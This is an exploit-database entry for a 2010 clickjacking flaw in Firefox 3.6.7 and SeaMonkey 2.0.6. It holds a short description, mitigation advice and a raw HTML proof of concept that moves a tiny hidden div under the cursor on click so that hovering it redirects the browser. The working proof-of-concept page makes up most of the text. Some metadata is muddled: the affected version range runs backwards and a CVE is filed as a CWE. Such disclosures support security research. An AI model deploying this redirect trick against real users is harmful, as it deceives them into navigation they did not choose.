FF3.6.7/SM 2.0.6 ClickJacking Vulnerability

vendor:

Firefox

by:

Pouya Daneshmand

7,5

CVSS

HIGH

ClickJacking

693

CWE

Product Name: Firefox

Affected Version From: 3.6.7

Affected Version To: 2.0.6

Patch Exists: YES

Related CWE: CVE-2010-3765

CPE: a:mozilla:firefox

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

FF3.6.7/SM 2.0.6 ClickJacking Vulnerability

A clickjacking vulnerability exists in Firefox 3.6.7 and SeaMonkey 2.0.6. An attacker can use this vulnerability to trick a user into clicking on a malicious link by hiding it behind a legitimate link. This can be done by using a transparent layer over the legitimate link and making it appear as if the user is clicking on the legitimate link.

Mitigation:

Users should be aware of the potential for clickjacking attacks and should not click on links that appear suspicious. Additionally, users should ensure that their browser is up to date with the latest security patches.

Source

Exploit-DB raw data:

<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</title>
</head><body>

<div id="mydiv" onmouseover="document.location='http://www.mozilla.org';" style="border: 0px none ; background: rgb(0, 0, 0) none repeat scroll 0% 0%; position: absolute; width: 2px; height: 2px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></div>
<script>
function clickjack_armor(evt)
{
	clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;
	clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;
	document.getElementById('mydiv').style.left=clickjack_mouseX-1;
	document.getElementById('mydiv').style.top=clickjack_mouseY-1;
}
</script>
<center>
<br>
<center><h1><font face="Calibri">Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1>
 <p> </p>
<div style="border-top-style: solid; border-top-width: 1px; padding-top: 1px">
	<b><br><br>

	<a href="http://www.Securitylab.ir" onclick="clickjack_armor(event)"> Go 
	to the http://www.Securitylab.ir : (http://www.mozilla.org)</a></b></div>
<div style="border-bottom-style: solid; border-bottom-width: 1px; padding-bottom: 1px">
 <p> </div>
<p> </p>
</center>
<div style="border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; padding-top: 1px; padding-bottom: 1px">
	<b><font face="Calibri">Pouya Daneshmand, Securitylab.ir</font></b></div>

</center></body></html>